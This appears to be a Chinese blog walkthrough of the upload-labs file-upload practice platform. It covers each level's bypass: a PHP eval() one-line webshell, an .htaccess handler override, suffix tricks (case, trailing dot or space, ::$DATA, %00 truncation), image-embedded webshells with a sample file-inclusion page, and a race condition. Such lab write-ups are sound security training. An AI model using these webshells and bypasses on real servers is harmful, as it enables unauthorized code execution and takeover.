Web文件上传

以前博客

学习文件上传笔记,在github上看见一个文件上传练习平台,自己搭一个平台练习。

准备

下载文件
git clone https://github.com/c0ny1/upload-labs.git
部署docker上
sudo docker cp ./upload-labs e664955e:/var/www/
结果如下:

平台搭建成功

正常上传出现问题:

1、提示:../upload文件夹不存在,请手工创建! ----> 在upload-labs目录下创建upload文件夹 mkdir upload
2、提示:上传出错! ----->可能是权限不够 chomd -R 777 upload-labs

要求

操作系统:windows、Linux
php版本:推荐5.2.17(其他版本可能会导致部分Pass无法突破)
php组件:php_gd2,php_exif(部分Pass需要开启这两个组件)
apache:以moudel方式连接

因为我这docker的php是5.6的,有Pass做不了

wp

Pass-01(很详细)

查看源代码
发现只是在前端进行js校验上传文件。思路:那我们进行抓包,对抓抓取的数据包进行修改。
编辑1.php,添加一句话木马

<?php 
@eval($_POST['ese']);
echo "i am ese";
?>

将1.php改成1.png,上传利用burpsuit抓包,并再次修改文件名

修改文件名

查看返回包,发现上传文件路径
上传路径

访问
http://172.10.22.70:1234/upload-labs/upload/1.php
查看是否上传成功
上传成功

利用Cknife(菜刀),连接
连接webshell

连接成功
成功getshell

Pass-02

查看源代码,发现服务器端利用$_FILES['upload_file']['type']对文件类型进行校验,用Pass-01的方法便可以绕过。

Pass-03

查看源代码

if (file_exists(UPLOAD_PATH)) {     //检测上传路径是否存在
        $deny_ext = array('.asp','.aspx','.php','.jsp');  //添加后缀黑名单数组
        $file_name = trim($_FILES['upload_file']['name']); //移除字符串两侧特定字符
        $file_name = deldot($file_name);          //删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');     //返回从该位置到字符串结尾的所有字符
        $file_ext = strtolower($file_ext);        //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
        $file_ext = trim($file_ext);                //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //这里生成随机数保存到服务器,格式[上传时间+随机数+后缀名],如:201810211053307940.php3         
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } 

发现是黑名单判断,在某些PHP环境中(php版本小于php版本小于5.3.4),后缀名为php1、php2、php3、php4、php5、phtml等文件,也能当作php文件执行。尝试用php5,php3,phtml绕过,但是保存的时候,加入生成一个随机数,这个随机数在1000-9999之间。
将文件后缀名改php3,上传,burpsuit抓包,查看返回包,发现了上传路径,访问成功,成功上传。

Pass-04

查看源代码
发现也是黑名单过滤,基本上全都都过滤啦,除了.htaccess,于是首先上传一个.htaccess内容如下的文件:
SetHandler application/x-httpd-php

修改文件名

删除文件名上传,这样所有文件都会解析为php。
将php木马保存为4.png,上传4.png,由返回数据包知道存放路径。访问4.png,成功解析:
success

Pass-05

查看源代码
发现严格的黑名单过滤。但是对文件后缀名进行小写转换,没有将后缀进行大小写统一,于是可以通过大小写绕过,php特性

变量名,常量名 区分大小写
函数名、方法名、类名、后缀名 不区分大小写
NULL、TRUE、FALSE不区分大小写

我们可以改为5.phP,上传,由返回数据包知道存放路径,访问成功。

Pass-06

查看源代码
发现严格的黑名单过滤。
发现没有对文件后缀名进行首尾去空。

修改文件名

由返回数据包知道存放路径,访问路径xxxx/upload-labs/upload/201810221131227187.php%20,访问成功。

Pass-07

查看源代码
还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过,
抓包,修改后缀名为7.php.,由返回数据包,找到路径,访问xxxx\xxx\xxx\7.php.,成功。

Pass-08

查看源代码
还是黑名单,但是没有对后缀名进行去”::DATA”处理,利用windows的NTFS文件流特性,可在后缀名中加” ::DATA”进行绕过:

修改文件名

由返回数据包知道存放路径,访问路径xxxx/upload-labs/upload/xxxx.php::$data,访问成功。

Pass-09

查看源代码
还是黑名单,发现这一行
$img_path = UPLOAD_PATH.'/'.$file_name;
路径拼接的是处理后的文件名,于是构造9.php. . (点+空格+点),经过处理后,文件名变成9.php.,即可绕过。
访问xx/xxx/xxx/9.php.%20,成功访问。

Pass-10

直接上传php,发现上传php成功,返回路径为upload/10.,直接访问成功。额....

Pass-11

查看代码
白名单判断,
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
但是$img_path直接拼接,因此可以利用%00截断绕过。

截断条件:
    php版本小于5.3.4 详情关注CVE-2006-7243
    php的magic_quotes_gpc为OFF状态

如:


get截断

访问xxx/xxx/xxx/1.php

Pass-12

和十一关不同的是这次的save_path是通过post传进来的,还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。


post截断

Pass-13

本关要求上传图片马即可
查看源代码
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作方法,cmd窗口下:
copy 13.jpg /b + shell.php /a webshell.jpg
上传webshell.jpg图片

webshell

上传成功,返回数据包,我们知道存储文件名4920181022153051.jpg。利用还要结合文件包含漏洞。
我们简单写一个存在文件包含漏洞的页面:

<?php
$file = $_GET[ 'page' ];
include($file);
?> 

放在目录下upload-labs,
访问xxxx/upload-labs/include.php?page=upload/4920181022153051.jpg
成功利用。

Pass-14

利用Pass-13方法可绕过。

Pass-15

利用Pass-13方法可绕过。

Pass-16

利用Pass-13方法可绕过。

Pass-17

1、本关考察的是条件竞争,
2、这里先将文件上传到服务器,
3、先将上传的文件存在服务器,
4、判断是否在白名单上,不在则删除[unlink]文件,
5、因此可以通过条件竞争的方式在删除[unlink]之前,访问webshell。

首先在burp中不断发送上传webshell的数据包。然后不断的访问xxx/upload-labs/upload/shell.php

Pass-18

同样存在条件竞争的漏洞

Pass-19

本关考察CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称。发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过。

参考

链接

以前博客

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,324评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,303评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,192评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,555评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,569评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,566评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,927评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,583评论 0 257
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,827评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,590评论 2 320
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,669评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,365评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,941评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,928评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,159评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,880评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,399评论 2 342

推荐阅读更多精彩内容

  • 这几天都在忙着弄一个能够实现拟南芥信息查询和ID转换的数据库及其界面,感觉虽然听起来容易,但是其实是一个不小的工程...
    不玩手机的蛇佬腔阅读 171评论 0 0
  • 无处不在的云计算又多了一个兄弟——雾计算 现在正在流行的“云计算”,是把大量数据放到“云”里去计算或存储。这样,就...
    喵喵唔的老巢阅读 134评论 0 0
  • 老师看到有一个位置空着,便让洛伊坐在那儿了…… 洛伊见到他,十分惊讶,“咦?这个不是刚才身后都是女生的那个男孩吗?...
    飘雪所似阅读 254评论 1 2
  • 很久没有打开简书写字了。也就偶尔有空,打开简书,发现消息一栏,就有几个读者的喜欢,还有偶尔的几个读者的关注。 记得...
    月出宛丘阅读 2,792评论 2 9
  • 今天是2018年10月3日,出发去往贵州省桐梓县践行的路上。 践行的路由币圈最美主持人泡泡带我参加007重庆线下现...
    行动等于财富阅读 164评论 0 0